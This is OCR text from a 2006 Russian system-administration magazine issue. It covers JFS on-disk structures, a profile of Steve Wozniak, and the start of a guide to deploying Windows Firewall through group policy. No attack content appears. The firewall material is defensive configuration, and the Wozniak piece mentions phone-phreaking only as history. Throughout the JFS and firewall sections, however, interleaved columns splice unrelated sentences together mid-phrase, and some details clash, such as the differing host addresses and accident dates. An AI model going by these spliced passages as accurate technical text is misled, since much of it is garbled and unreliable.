Карта выделения блоков используется для отслеживания состояния (выделен/свободен) блоков тома. Так как все файлсеты используют общий пул дисковых блоков, они используют и общую карту. Логически эта карта представляет собой файл, описываемый вторым inode тома. При форматировании раздела выделяется место сразу под всю карту, она может менять свой размер только в случае увеличения/усечения тома. Карта состоит из трех типов 4-килобайтных страниц – контрольная bmap- Карта размещения inodes страница (от block map – блочная кар- Карта размещения inodes решает прота), контрольные dmap-страницы и сы- блему прямого поиска. Каждый файрые dmap-страницы. Сырые dmap- лсет тома поддерживает собственную страницы содержат по одному биту карту, которая является динамическим на каждый блок; если бит установлен – массивом групп размещения inodes блок выделен, если сброшен – свобо- (Inode Allocation Group – IAG). Эта карден. Структуры всех типов страниц оп- та физически расположена в файле, ределены в jfs_dmap.h. Не трудно до- описываемым «супер-inode» из табгадаться, что контрольная bmap-стра- лицы тома. Каждая IAG имеет 4 Кб в размере ница представляет собой корень дерева, контрольные dmap – его внут- и описывает 128 inode-экстентов. Так ренние узлы, а сырые dmap – листья. как каждый inode-экстент содержит 32 Высота дерева зависит от размера то- inodes, IAG фактически адресует 4096 ма. По умолчанию оно имеет 3 уровня inodes. IAG может существовать в лю(и может описывать 243 блоков), одна- бом месте тома, однако все описывако, если таковое их количество не тре- емые ею экстенты должны принадлебуется, inode блочной карты будет опи- жать одной AG, и эта группа прикрепсывать разреженный файл с «дыра- ляется к AG до тех пор, пока хотя бы ми» на месте первой страницы каждо- один ее inode используется. Как только го из неиспользуемых уровней (напом- все inodes освобождены, новые inodes ню, что «дырой» называется экстент, могут размещаться в любой другой AG. не имеющий дискового воплощения, Формат IAG определен как struct iag т.е. поле адреса такого экстента будет в jfs_imap.h. Первая 4-килобайтная страница неопределено). JFS использует особую стратегию карты является контрольной и содерфиксации для обеспечения надежного жит общую информацию о ней. Логивнесения обновлений в управляющие чески карта размещения inodes являетструктуры. Для этого JFS поддержи- ся массивом структур типа struct iag. Физически карта inodes расположевает 2 битовые карты в каждой dmapстранице – рабочую и постоянную. Ра- на в файле, описываемом специальбочая карта отражает текущее состоя- ным inode из таблицы файлсета. Страние блоков, а постоянная – зафиксиро- ницы этого файла размещаются и осванное. При освобождении блока пер- вобождаются по необходимости, с привой обновляется постоянная карта, при менением стандартного механизма инвыделении – рабочая (похожая техни- дексирования через B+ дерево.
№8, август 2006
Механизм журналирования карт размещения inodes аналогичен механизму защиты битовых карт блоков и предусматривает наличие рабочего и постоянного экземпляров карты. Каждая страница IAG имеет контрольную секцию, содержащую обобщающую карту inodes. Она используется для улучшения производительности процесса поиска. Каждый бит такой карты отображает состояние 32 inodes и сбрасывается, если все они свободны. Кроме того, IAG содержит 128 дескрипторов inode-экстентов, на которые также имеется обобщающая карта. Один ее бит отображает состояние одного inodes-экстента и будет сброшен, если экстент полностью свободен.
Список свободных inodes AG Этот список решает проблему обратного поиска. Так как количество AGs на томе ограничено и заранее известно, то и количество заголовков этих списков также предопределено. Заголовок списка свободных inodes содержится в контрольной (первой) странице карты размещения inodes. I-тый элемент этого массива будет заголовком для двусвязного списка всех IAGs, имеющих свободные inodes. Номер IAG используется в качестве индекса, значение -1 указывает на конец списка. Каждая контрольная страница содержит указатели на голову и хвост списка. Вставка и удаление из списка свободных inodes AG происходит в его голове. Вставка происходит, например, при размещении нового inode-экстента или при удалении inode из полностью занятого экстента. В случае, когда все inode-экстенты конкретной IAG заполняются, она удаляется из списка. Этот список не журналируется. В случае сбоя он реконструируется fsck. Структура списка определена как struct dinomap в jfs_imap.h.
Список свободных экстентов AG Этот список помогает решить проблему обратного поиска и поиска свободных номеров inodes. Каждый файлсет имеет свой список свободных inodeэкстентов на каждую AG. Количество заголовков этих списков, хранящихся
47
администрирование в контрольной странице карты размещения inodes, ограничено количеством AGs. I-тый элемент списка будет заголовком для двусвязного списка всех IAGs, имеющих свободные inode-экстенты. Номер IAG используется как индекс в этом массиве, -1 указывает на конец списка. Когда все inodes в экстенте удаляются, его дисковые блоки освобождаются, а номер IAG, содержащий этот экстент, вставляется в голову списка свободных inode-экстентов. При размещении новой IAG происходит то же самое. Когда все inode-экстенты в IAG занимаются, эта IAG удаляется из списка. Если все inode-экстенты в IAG освобождаются, IAG вырезается из этого списка и вставляется в список свободных IAGs (см. ниже). Э та таблица не ж урна лируется, ее формат определен в структуре dinomap в файле jfs_imap.h.
Список свободных IAGs Эта таблица решает проблему поиска свободных номеров inodes. Ее структура более проста: она содержит просто список номеров полностью свободных IAGs. Его заголовок является полем в inode тома, который описывает данный файлсет.
IAG Free next Этот счетчик помогает решить проблему поиска свободных номеров inodes и позволяет JFS находить номер для вновь размещаемой IAG. Этот счетчик расположен в контрольной странице карты размещения inodes. Однажды размещенная IAG никогда не удаляется.
«Супер-inodes» Inode тома, описывающие конкретные файлсеты являются inodes особого типа и содержат специфическую информацию в последних двух четвертях вместо нормальных для inode данных. Они отслеживают дисковое местоположение карты размещения inodes в своем B+ дереве.
Файл Файл представлен inode, содержащим корень B+ дерева, в котором, по логическому смещению от начала файла, проиндексированы экстенты, содержащие данные этого файла.
48
Символическая ссылка
тентов (указывают на узлы дочерних уровней). Листовые узлы хранят массивы полных имен (ключ) и номеров inodes(данные). Внутренние и листовые узлы B+ дерева каталога занимают страницу в 4 Кб. Так как многие каталоги не столь велики, подобная схема хранения приводит к потере дискового пространства. Для решения этой проблемы была введена следующая схема выделения: 1. Изначально элементы каталога Каталог хранятся в области встроенных Каталог – это журналируемый файл данных в inode. с метаданными JFS. Он состоит из эле2. Когда эта область переполняется, ментов каталога, которые описывают JFS выделяет под листовой узел 1 содержащиеся в нем объекты. Кажблок тома. дый такой элемент связывает имя объ3. Когда этот блок переполняется, JFS екта с соответствующим ему номером пытается увеличить его размер в 2 inode. Для увеличения производительраза (если он еще не равен 4 Кб); ности поиска по каталогу элементы если места вокруг текущего экспроиндексированы по имени с помощью B+ дерева. тента не хватает, выделяет новый Поле di_size в описывающем катаэкстент и копирует в него данные, не забывая внести изменения в ролог inode содержит количество листовых узлов B+дерева, которым проиндительский узел. 4. Если этот новый экстент вновь задексированы элементы каталога. Если все содержимое каталога умещается полняется и его размер еще не дов одном листе, то он будет полностью стиг 4 Кб, повторяется шаг 3. Если храниться в inode, а di_size=256. нет – размещается новый лист. Все Каталог в JFS не хранит на дисвыделяемые впоследствии листоке 2 специфичных элемента – указавые узлы будут размером 4 Кб. 5. Когда все элементы в листовой тели на себя («.») и на родительский странице освобождаются, эта стракаталог («..»). Они представлены полями в самом inode: указатель на сеница удаляется из дерева. Содербя – это просто номер inode каталога, жимое каталога будет упаковано а указатель на родителя – поле idotdot, обратно в inode только когда все содержащее структуру dtroot, опредеего элементы будут удалены. ленную в файле jfs_dtree.h. Inode каталога содержит корень ACL своего B+ дерева, подобно регуляр- ACL, связанные с каждым inode в JFS, ному файлу. Ключом в этом дереве представляют различные свойства является хэш имени объекта, листо- объекта, например, разрешения, иденвые узлы содержат элементы катало- тификаторы пользователя или группы. га, состоящие из полного имени и но- ACL-поля в inode из таблицы тома игмера inode. норируются. Так как элементы каталога могут Несмотря на то что фиксированных быть разного размера, JFS нуждает- требований к дисковому или in-memoryся в особой схеме их обработки. Для их формату списков контроля доступа хранения используются так называе- не существует, JFS использует струкмые directory-слоты – структуры фик- туру, определенную стандартом DFS. сированного размера, имеющие поля ACL органичен в размере и должен для номера inode и имени. Если имя помещаться в 8-килобайтную струкв один слот не помещается, выделя- туру dfs_acl. Любой объект JFS может быть асется следующий – с тем же номером inode. Внутренние узлы дерева состо- социирован с ACL, который будет упят из двух частей: массива сжатых суф- равлять дискретным доступом к этофиксов имен (используется как ключ) му объекту. Каталоги могут иметь до и таблицы простых дескрипторов экс- двух ACL, которые инициализируются Символическая ссылка представлена inode, поле di_mode которого содержит установленный флаг S_IFLNK. Полный путь к файлу, на который указывает ссылка, хранится прямо в inode. Если строка с путем в inode не помещается, под нее выделяется один или несколько экстентов, обработка которых происходит по стандартному для регулярных файлов сценарию.
администрирование во время создания объекта: ACL каталога и файловый ACL. Если есть, файловый ACL будет применяться при доступе к любому файлу этого каталога. Для хранения массива ACL JFS использует специальный файл (в каждом файлсете), который структурирован так: за каждыми 8 Мб ACL следует 4-килобайтная битовая карта занятости ACL. ACL-файл журналируется.
Расширенные атрибуты Расширенные атрибуты (Extended Attributes – EAs) – это generic-механизм хранения и доступа к данным, прикрепленным к объектам JFS. EAs хранятся непрерывно в пространстве расширенных атрибутов (Extended Attribute Space – EAS), как определено EA-дескриптором в inode объекта JFS. EA-дескриптор – это просто дескриптор экстента, описанный в файле jfs_types.h, в структуре dxd_t. EA может храниться в области встроенных данных в inode или в отдельном экстенте. Поле flags в дескрипторе EA имеет индикатор способа хранения. Т.к. область встроенных данных
№8, август 2006
inode также может быть использована под дополнительные xad, поле di_mode в inode будет индикатором доступности этого пространства. INLINEEA-бит будет установлен, если оно доступно. Элемент EA содержит имя атрибута и его значение. Для доступа к конкретному атрибуту JFS просто линейно ищет его в экстенте. Расширенные атрибуты не журналируются (если они хранятся не в inode), но пишутся на диск синхронно.
Потоки Потоки (streams) в JFS используются для прикрепления дополнительных именованных данных к файлам и каталогам. Из-за ограничений интерфейса VFS, в Linux-версии JFS-потоки не поддерживаются и здесь упоминаются только для полноты картины. Вторая четверть дискового inode имеет поле для хранения дескриптора потока. Так как количество прикрепленных к объекту потоков может меняться, дескриптор потока содержит просто номер inode, описывающий файл со списком номеров inodes второго уровня. Эти inodes описывают не-
посредственно данные потока. Потоки не журналируются.
Заключение Архитектура и реализация JFS отличаются большим своеобразием, на фоне других файловых систем Linux она выглядит «белой вороной». Это обусловлено тем, что JFS изначально проектировалась для очень далекой от UNIX OS/2. Вероятно, IBM не смогла до конца решить одну из поставленных при разработке второй версии этой ФС задач, – создание хорошо переносимой ФС, – в среде Linux ее производительность не идеальна. Но, несмотря на некоторые недочеты в работе, JFS была и остается очень стабильной файловой системой, а ее дизайн представляет чисто академический интерес – как и устройство любого программного продукта, сработанного в недрах «голубого гиганта». 1. www.ibm.com/developerworks. 2. www.jfs.sourceforge.net. 3. Исходные тексты драйвера JFS для Linux-2.6.16.
49
человек номера
Волшебник из страны… Воз
Легендарный создатель компьютеров Apple I и Apple II Стив Возняк верит в сказки и сам создает их.
Украинский маг Ему 56 лет, и он похож на Страшилу Мудрого, почти достигшего пенсионного возраста, но не утративший авантюрной жилки. Надеюсь, знаменитого Стива Возняка, одного из создателей компьютера Apple, не обидит такое сравнение. В интервью американскому изданию он как-то сказал: «Не могу понять, почему, несмотря на то, что всю жизнь я занимался совершенно тривиальными вещами – был хорошим инженером, да просто делал то, что хочется, – некоторые люди считают меня героем, особенным человеком!» На что журналист резонно заметил: детям нужны герои как пример для подражания. И Стив согласился, что «сотворить себе кумира» – в природе человека.
50
Я же настаиваю на том, что Woz, как называют легендарного основателя Apple, имеет непосредственное отношение к моей любимой сказке «Волшебник Изумрудного города». Американцам эта сказка известна не в интерпретации Волкова, а в изложении Баума, под названием Wizard of Oz. Между тем прозвище Стива – Wizard of Woz. Можно, конечно, объяснить это имя серьезно, без улыбки, ведь одно из значений слова «wizard» в английском языке – специалист своего дела. Зато другой, более известный перевод – «маг, волшебник». И, глядя на Стива, легко поверить, что он вот только что гулял по лесам, окружающим Изумрудный город. Прибавьте легкую украинскую нотку во внешности и происхождении. Мистер Возняк сам признался в неболь-
шом интервью, что его фамилия имеет украинские корни. Посмотрите в любой справочник, и он подтвердит: «Возняк» – «возница, кучер, ямщик», причем в данном случае фамилия выдает профессию отца, то бишь какого-то дальнего предка американца Возняка. Свои славянские корни «волшебник Изумрудного города» вспомнил, и за это ему спасибо, в лучшие времена, когда заработал немало денег и занялся благотворительностью. В Интернете, в материалах, посвященных биографии Стива, его музыкальная, образовательная и благотворительная деятельность оценивается как нечто экстравагантное. Биографы удивлены: человек делал компьютеры, бизнес имел, богател и вдруг – ни с того, ни с сего – заскучал, стал организа-
человек номера тором рок-фестивалей, в 1987 году – спонсором первого в СССР советскоамериканского рок-концерта. Позже, в 1990 году, на деньги Стива Возняка в Советский Союз поставляли компьютеры для школ. И сегодня Стив настроен исключительно пророссийски. В июне этого года он с удовольствием приехал на первую в Москве выставку «Interop» и на пресс-конференции подробно объяснял, как относятся его соотечественники к России: «Восприятие России стало в целом очень хорошим. Мы надеемся, что вы будете нашими хорошими друзьями в будущем. Правда, в последнее время я наблюдаю большой разброс мнений. Такого не было раньше никогда! Просто удивительно, как много людей отвернулись от вашей страны. И одновременно я встречаю много друзей России, это те люди, которые не согласны с политикой Соединенных Штатов Америки. Увы, противники дружбы с россиянами не хотят сдаваться даже сейчас, когда мы знаем о том, что Россия и Франция поступают правильно. Они не откажутся от своих отрицательных убеждений… Мне очень неприятно, когда люди в моей стране говорят о России как о плохом партнере! К сожалению, это не так просто исправить». Стивен помрачнел. И добавил уже с энтузиазмом: «Но бизнес открыт! Как никогда раньше. И это уже хорошо». На пресс-конференции все вопросы достались изобретателю Apple. Остальные участники встречи с журналистами даже как-то заскучали, поняв, что они практически не интересуют СМИ. А вот я никак не решалась спросить то, что интересовало меня. Особенно когда пошли специфические технические вопросы по поводу информационной безопасности. Подошла после официального общения, когда Возняка окружили поклонники с просьбой об автографе и фотографии на память. – Вы верите в сказки? – Во что? – искренне удивился Стив. – В сказки… – робко повторила я. Ура, я не ошиблась. Верит! Правда, сказкой Возняк считает и видеоигры, которые появились еще до компьютерных, и научную фантастику. И еще, «волшебник Воз» тут же оговорился: «Верю в сказки, но, конечно, не так, как маленькие дети, кото-
№8, август 2006
Стивен Возняк Родился 11 августа 1950 г. в штате Калифорния, США. В 1976 году вместе со Стивом Джобсом создан фирму «Apple Computer». В середине 70-х компания выпустила Apple I и Apple II. В 1980 году основатели Apple Computers стали миллионерами. После аварии самолета в феврале 1981 года Стивен снова стал студентом Калифорнийского университета, который бросил в 1975 году. В 1985 году покинул род-
рые увлечены сказочным сюжетом, захвачены им».
Яблочный бум Однако, если верить фактам, жизнь Возняка состоит из сказочных поворотов, которые меняли его судьбу. А он, баловень фортуны, активно сопротивлялся и не желал идти проторенными дорогами. С детства он лелеял две мечты, и о них сегодня знает весь мир: «Стать инженером и учить детей». В середине 70-х Возняк бросил университет, начал работать на «Hewlett-Packard» и параллельно совместно с Джоном Дрейпером сконструировал «голубую коробку» – миниатюрный аппарат, который позволял незаконно подключаться к телефону и бесплатно звонить в любой уголок мира. Не слишком нравственное занятие? Стив никогда не был пай-мальчиком, но и злодеем его назвать нельзя. Дрейпер вспоминает, что «первый, кому позвонил Воз, был папа. Воз хотел получить отпущение грехов». К тому же особой выгоды из своего изобретения Возняк не мог извлечь. Или не хотел? В этот момент судьба послала ему… нет, не ангела-хранителя, а друга и по совместительству менеджера на долгие годы. Тезка Стив Джобс за несколько лет до встречи с Возняком тоже бросил вуз и был в поиске… собственного «я». Так же, как и Воз, Джобсу полюбилась компания молодых людей, компьютерных фанатов в Пало Альто, Калифорния, называвших себя Компьютерный клуб «Home-brew» (в переводе с английского – «домашнее пиво»). Джобс считает, что в то время он был инженером «примерно такого же уровня, как Воз», но у Стива Джобса были способности менеджера, и он предложил Возняку работать вместе для того, чтобы продавать его изобре-
ную компанию Apple. В 1997 году вернулся в Apple в качестве консультанта. В декабре 2001 года Стивен Возняк вошел в состав совета директоров стартапа – компании Danger Inc. (http://www. danger.com), занимающейся производством карманных интернет-компьютеров. В 2002 году Возняк создал компанию Wheels of Zeus («Колеса Зевса»). В 2006 году стал основателем новой компании «Acquicor Technology».
тения. Apple I Возняк и Джобс придумали в доме Джобса, а прототип создали в гараже Джобса. Джобс сумел уговорить местного продавца электроники заказать им 25 машин. Чтобы собрать деньги, необходимые для производства такого количества «Apple», Джобс и Возняк были вынуждены продать свои самые ценные вещи – Фольксваген Джобса и научный калькулятор НР Возняка. Они выручили 1300 долларов. С этим первоначальным капиталом и кредитом наладили серийное производство. Следом за этим Возняк бросил НР и стал вице-президентом, ответственным за исследование и развитие новой компании, названной «Apple Computers». Биограф Стива Возняка Маниш Стривастава считает, что имя «Apple» появилось, потому что два Стива вспомнили название записывающей компании знаменитой ливерпульской четверки «Битлз», а возможно, Джобс просто был под впечатлением того лета в Орегоне, когда ему, безработному, пришлось наняться собирать яблоки. Началась сказка – доходы, быстро растущие в цене акции, популярность, награды, в их числе Национальная медаль по технологии, врученная самим президентом США. Пять лет Apple II оставался бестселлером на рынке компьютеров. Шеф-редактор IT-изданий «СК Пресс» Рубен Герр считает, что «основная причина успеха была в «происхождении» – его «предок» был сделан для «самодельщиков», таким он в значительной мере и оставался. Компьютер никогда не был и, вероятно, никогда не будет законченным изделием, особенно персональный. Apple II можно было достраивать, дооснащать, словом, переделывать по вкусу. Конкурирующие машины такими свойствами не обладали, гнезд
51
человек номера
для плат расширения в них не предусматривалось». В 1982 году Возняк попал в аварию, был серьезно ранен, потерял память – не мог вспомнить, кто был у него в больнице накануне, разучился играть в компьютерные игры и совершенно не мог восстановить подробности аварии. Память вернулась, и Стив вдруг осознал, что надо жить. Он побежал заканчивать университет, в первый раз женился. В Apple Стив вернулся позже, но все же вернулся. Судьба, упрямо желавшая, чтобы он все делал правильно, возвращала его снова и снова к бизнесу.
«Папа» школьного округа Но Стив был упрямее. Вырвавшись на «свободу» снова, на сей раз, чтобы заняться образовательной деятельностью, он заявил: «Всю свою жизнь я не желал быть коммивояжером. Я просто мечтал быть инженером, хотел писать программы и создавать компьютеры». Однако пришла пора воплотить еще одну мечту – относительно преподавания. Возняк «усыновил», как шутливо говорится в его краткой биографии на сайте, школьный округ Лос Гатос в Калифорнии – снабдил учителей и детей компьютерами, современными лабораториями, дал им возможность изучать новейшие технологии. Сотни школьников получили бесплатные ноутбуки, сотни выпускников – бесплатное подключение к Интернету. Кроме того, мистер Возняк сам стал преподавателем. С восторгом он рассказывал прессе: «Представляете, один мальчик мне говорит: «Я нашел способ сделать анимацию в этой программе». Я отвечаю: «Нет, здесь не может быть анимации». – «Да, но я сделал это!» Я смотрю на экран и понимаю, что он сделал это. Я научился новой технологии». Возняк погрузился в новую для себя сферу деятельности так же глубо-
52
ко, как в детстве погружался в любимую математику. Говорят, маме Стива приходилось в буквально смысле слова трясти сына, чтобы вернуть его в реальный мир, когда он увлекался какойнибудь особенно занимательной математической задачкой. «Когда я был молодым, – рассказал мне Возняк, – я мечтал стать учителем, потому что понимал, насколько важно образование. Это очень важно для нашей жизни, нашего развития, нашего будущего. В биографии каждого из нас были учителя, которые сыграли важную роль в нашем развитии. Я решил обучать детей начиная с начальной школы вплоть до старшей школы и учителей. Что я и делал в течение восьми лет в моем округе». Пауза. Лукаво: «Без участия прессы. Иметь личный контакт с тридцатью студентами, это значит для меня гораздо больше, чем писать учебники и выпускать обучающие CD. Вы видите эффективность своей работы каждый день!» Стив уточняет: «Сейчас я уже не занимаюсь преподаванием». Однако и сегодня он считает образование такой же важной частью жизни, как и связь. А говоря о будущем информационных технологий, предполагает, что новые изобретения понадобятся именно в образовательных учреждениях: «Я думаю, что прорыв будет именно в робототехнике. Мы все еще ждем, что появится искусственный разум. Появится в полной мере. Однако я не думаю, что я стану свидетелем появления полноразмерного искусственного интеллекта. Я думаю о том, что с большим удовольствием поехал бы к вам домой и выпил пару чашек кофе. Но сомневаюсь, что робот захочет это сделать. Искусственный интеллект позволит компьютеру понимать меня, как вы понимаете друг друга. Я думаю, что в будущем, вместо учителя-человека учить будет искусственный разум. И может получиться так, что в помещении, где находятся 30 студентов, будут одновременно находиться 30 преподавателей. И это приведет к тому, что мы получим возможность изменять парадигму обучения. Каждый ученик и каждый преподаватель будут работать с той скоростью и тем материалом, которые им необходимы. Они смогут выбирать свой уровень обучения».
И еще одно предсказание: «В IT-сфере появятся такие приложения и решения, которые позволят создать среду, нереальную в физическом мире. Я полностью это поддерживаю». Чем не проект школьной лаборатории, в которой можно моделировать хоть лунную поверхность, хоть период мезозоя?» Даже отношение Стива Возняка к начинающим, которые сегодня приходят в сферу новейших технологий, отеческое, педагогическое: «Я не думаю, что молодым специалистам нужно говорить: вот тебе направление, и по нему надо идти. Это все равно как на ребенка накладывать свои ценности, вместо того, чтобы позволить человеку создать собственные ценности, помочь развиваться в этом направлении. Надо просто наблюдать за развитием молодых профессионалов, знать, о чем они мечтают, о чем думают, какие у них цели и помогать им по мере возможности двигаться в избранном направлении». Сегодня Стив опять занимается инженерией. В 2002 году он основал компанию Wheel of Zeus. Из первых букв названия складывается знакомая аббревиатура – Woz. Значит, Страшила Мудрый создал себе все-таки свой Изумрудный город. Не все получается в нем так, как хочется. Недавно в интернет-СМИ прошло сообщение, что фирма приняла решение закрыть свой интернет-ресурс. Однако в свое время Возняк пообещал, что его компания «будет помогать простым людям находить простые вещи» с помощью GPS смарт-тагов – технологии, которая была создана, чтобы сочетать RFID с традиционными GPS. Да и Нью-Йорк Таймс в 2003 году объявила всему миру, что Wheel of Zeus разработала технологию WozNet, которая позволяет сигнализировать о местонахождении любого предмета, снабженного электронной меткой. Кстати сказать, изобретение больше всего пригодится родителям, которые хотят знать, где находится их ребенок, когда он уходит гулять… Так что Стив Возняк еще поколдует над новыми изобретениями и в очередной раз прославит себя в области новейших технологий. Или вернется в школу? Может быть. Он верен своим мечтам. И миссии – оставаться добрым Волшебником из страны Воз.
Оксана Родионова
безопасность
Windows Firewall: защищаем внутренние ресурсы сети
Андрей Бирюков Сейчас локальная сеть любой, даже совсем небольшой организации, защищена от внешних угроз. Настолько ли хорошо защищены ресурсы внутренней сети?
Защита снаружи, но не изнутри Современные средства защиты корпоративных ресурсов от внешних угроз весьма разнообразны, существуют как аппаратные и программные межсетевые экраны (например, Cisco PIX, CheckPoint или Microsoft ISA), так и системы обнаружения вторжения, разбирающие проходящие пакеты до уровня приложений, а также шлюзовые антивирусы, фильтрующие определенный вид трафика. Все эти грозные и дорогостоящие средства защищают наши ресурсы от посягательств извне. Однако стоит оказаться внутри локальной сети компании, как тут же обнаруживается, что на большинстве пользовательских машин персональные межсетевые экраны или отключены, или работают в режиме разрешения всех входящих соединений. Такое положение вещей многие системные администраторы объясняют просто: «Нам нужен полный доступ к локальной машине пользователя, и у нас нет времени на настройку портов». Таким обра-
54
зом, получаем ситуацию, когда рабо- зуется для защиты всех сетевых соедичие станции не защищены персональ- нений, однако для того чтобы гарантиным межсетевым экраном и в случае ровать запуск службы Firewall на машиесли вредоносный код каким-либо об- не пользователя, пропишем его в групразом сумеет проникнуть в локаль- повой политике. Предварительно необную сеть, последствия могут оказать- ходимо все пользовательские машины, на которых предполагается включить ся весьма неприятными. Проблему защиты рабочих стан- firewall, поместить в отдельную органиций можно решать с помощью различ- зационную единицу (Organization Unit). ных средств. Например, многие корпо- Категорически не рекомендуется примеративные антивирусы имеют встроен- нять политики, о которых речь пойдет даный межсетевой экран, политики для лее, ко всему домену, так как тогда они которого можно задавать централизо- применются и к серверам, вследствие ванно, но сегодня я продемонстрирую чего могут быть закрыты порты, необаналогичную защиту рабочих стан- ходимые для нормального функциониций с помощью стандартных средств рования клиент-серверных приложений. Windows, Active Directory и WSH. Сна- Итак, необходимая организационная чала опишу, как автоматически уста- единица создана, и пользовательские новить firewall и задать соответству- машины туда помещены. Теперь на конющие разрешения для машин, нахо- троллере домена откройте оснастку дящихся в домене, а затем, как про- Active Directory Users And Computers, даделать то же самое у пользователей, лее «Computer Management → Windows не входящих в домен, с помощью сце- Settings → Security Settings → System нариев Windows Script Host. Services → Windows Firewall». Включаем Персональный межсетевой экран использование этого сервиса (Enable) Windows XP SP2 и Windows 2003 Server и метод запуска автоматический (Startup SP 1 автоматически включен и исполь- Automatic) (см. рис. 1).
безопасность Теперь в вашей сети на всех пользовательских машинах запущен сервис Windows Firewall. Следующим шагом укажите приложения и порты, к которым вы хотите разрешить доступ снаружи. К сожалению, версия персонального межсетевого экрана, входящая в состав Windows XP 2003, не позволяет блокировать исходящие соединения, только входящие, поэтому будет открываться доступ только снаружи внутрь.
Правила, которые необходимо настроить на межсетевом экране Порт
Протокол
Источник
Действие
Описание
10001
TCP
172.29.0.0/24
Enable
Antivirus
3999
TCP
172.29.0.2, 172.29.0.200
Enable
Remote Admin
666
TCP
*
Disable
No Games
999
UDP
Localsubnet
Enable
Stream Video
Что и кому открывать Так как правила межсетевого экрана работают по принципу «запрещено всё, что не разрешено», то прежде чем включить firewall, вам необходимо определиться с тем, какие порты должны быть открыты на клиентской машине. По возможности постарайтесь минимизировать это количество, так как чем меньше открытых портов, тем меньше потенциальных уязвимостей в защите системы. В качестве примера буду открывать порты для корпоративного антивируса, удаленного управления и видеоконференций, а также явным образом буду блокировать доступ к порту, используемому сетевыми играми. Также доступ к каждому из портов должен быть разрешен только с определенных узлов или подсетей. Вот что нужно открыть (см. таблицу). Небольшое пояснение к предъявляемым требованиям: в первой строке я разрешаю доступ по порту 10001 всем хостам, находящимся в подсети 172.29.0.0 с маской 255.255.255.0, во второй – к порту 3999 только двум хостам 172.29.0.2, 172.29.0.20, в третьей всем пользователям явным образом запрещено устанавливать соединение по порту, который используют сетевые игры, и наконец в четвертой строке все пользователи локальной подсети могут отправлять UDP-пакеты на порт 999. Отдельно скажу про ICMP. Администратор должен иметь возможность пропинговать любой узел в своей сети, но при этом не следует разрешать любые операции с этим протоколом, так как существуют виды атак, позволяющие с помощью атак вида Denial Of Service осуществить отказ в обслуживании системы. Таким образом, подводя итог всему изложенному в данном абзаце, будет разрешаться только отклик на входящий эхо-запрос.
Открываем порты Определившись с тем, какие порты и кому вы хотите открыть, пропишите все эти правила в групповых политиках Active Directory. Для этого откройте ту же групповую политику, которую вы использовали для запуска сервиса Firewall, затем раздел «Computer Management → Administrative Templates → Network → Network Connections → Windows Firewall». Далее есть два профиля Domain и Standard. Профиль Domain применяется, когда машина подключена к Active Directory, обычно Domain Profile используется для рабочих станций пользователей. Профиль Standard применяется, когда машина не подключена к Active Directory, как правило Standard Profile используется для ноутбуков и портативных компьютеров. В нашем примере мы будем рассматривать Domain Profile. Как видно из рис. 2, у межсетевого экрана имеется 14 свойств, которые мы и будем сейчас настраивать:
№8, август 2006
Рисунок 1. Список сервисов, запускаемых в GPO
Рисунок 2. Свойства межсетевого экрана
Protect All Network Connections – использовать ли
межсетевой экран для всех соединений (LAN, Dial Up и др.). Do not allow exceptions – не позволять исключения. В нашем случае необходимо выставить Disabled, так как исключения, то есть открытые порты, у нас есть. Define program exceptions – определяет приложения, обращение к которым разрешено извне. Не самый безопасный способ, лучше ограничивать по портам, чем по приложениям. Allow local program exceptions – разрешать исключения для приложений. Allow remote administration exception – разрешать удаленное администрирование средствами Windows. Allow file and printer sharing exception – разрешать доступ к файловым ресурсам и принтерам, подключенным к данной машине. Allow ICMP exceptions – разрешать исключения для протокола ICMP. В соответствии с тем, что было сказано ранее про ICMP, мы разрешим только Inbound echo request (см. рис. 3). Allow Remote Desktop exception – разрешать установку соединения по протоколу RDP.
55
безопасность
Рисунок 3. Исключения для протокола ICMP
Рисунок 4. Определяем список портов
Allow UPnP exception – позволять исключения для
сценарий можно отправить по электронной почте, снабuniversal Plug and Play (технология, позволяющая раз- див получателя соответствующими инструкциями по его личным интеллектуальным устройствам устаналивать запуску. Кстати, сценарий, открывающий порты на межсетевом экране, может быть также полезен при развертывасоединения интернет-технологий). Prohibit notifications – запрещать уведомления поль- нии приложений, которым для работы необходимы открытые порты на firewall. зователя. При работе с Windows Firewall через сценарии WSH об Allow logging – разрешать журналирование. При этом вы можете сохранять информацию об отклоненных пакетах ратите внимание на то, что этот объект не является WMIи об успешных соединениях. Как правило имеет смысл классом, а СОМ-объектом из библиотеки HNetCfg (Home вести журналирование только отброшенных пакетов, Networking Configuration), которая в свою очередь обеспев случае учета всех соединений лог становится практи- чивает большинство функций межсетевого экрана. Для обращения к библиотеке HNetCfg в нашем сценачески нечитаемым из-за своего большого размера. Prohibit unicast response to multicast or broadcast – за- рии обязательно должна присутствовать строка: прещать отправку пакетов в ответ на широковещательSet objFirewall = CreateObject("HNetCfg.FwMgr") ные запросы. Define port exceptions – определяем порты, которые буЭта библиотека содержит ряд объектов: дут открыты на межсетевом экране. Allow local port exceptions – разрешить локальные ис- LocalPolicy – этот объект определяет, использовать ли локальную политику межсетевого экрана (в оснастке ключения для портов. Group Policy она называлась Standard) или же доменную политику (Domain). Итак, укажите те порты, которые хотите открыть на всех Profile – объекты управляют профилем Windows Firewall пользовательских машинах в организационной единице. и включают следующие свойства: Открыв свойства «Define Port Exceptions», выбирае AuthorizedApplications – набор авторизованных те «Enabled», затем «Define port exceptions: Show…». В отприложений, к которым разрешено обращение снакрывшемся окне вам необходимо определить список порружи. Этот список использует объект Profile. тов в соответствии со следующим форматом. CurrentProfile – свойство задает текущий профиль <порт>:<протокол>:<источник>:<действие>:<описание> межсетевого экрана. Для установки этого значения используйте команду NetCfg.FwMgr.LocalPolicy. CurrentProfile. Таким образом, после выполнения этих действий вы по CurrentProfileType –устанавливает тип профиля, колучите список портов, которые необходимо открыть либо торый использует Windows Firewall. Может иметь знаявным образом закрыть (рис. 4). чения: 0 (ноль), если используемый профиль являетВот собственно и все, что нужно сделать для того, чтося доменным, или 1, если это стандартный профиль. бы развернуть на машинах в локальной сети под управле ExceptionsNotAllowed – свойство указывает, разнием Active Directory межсетевой экран и открыть необхорешать ли использование исключений в Windows димые порты. Firewall, может иметь значения TRUE или FALSE. Это необходимый элемент для любого профиля. Для тех, кто вне домена… FirewallEnable – данное свойство определяет, долЧто же делать, если у вас имеются машины, не входящие жен ли быть включен межсетевой экран на машине, в домен, например, сеть филиала или ноутбуки сотруднивозможные значения TRUE или FALSE. Это свойсков, находящихся в командировке. В такой ситуации можно тво доступно через объект Profile. прибегнуть к помощи сценариев Windows Script Host. Этот
56
